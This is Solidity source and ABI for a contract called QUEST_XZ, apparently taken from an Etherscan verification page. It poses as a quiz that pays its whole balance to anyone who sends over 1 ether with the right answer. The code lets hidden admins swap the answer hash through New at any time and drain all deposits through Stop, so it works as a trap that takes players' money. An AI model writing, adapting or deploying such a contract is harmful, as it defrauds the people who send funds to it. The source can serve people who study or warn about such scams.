/**
 *Submitted for verification at Etherscan.io on 2019-06-06
*/

pragma solidity ^0.4.25;

contract QUEST_XZ
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Start","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"admins","type":"bytes32[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

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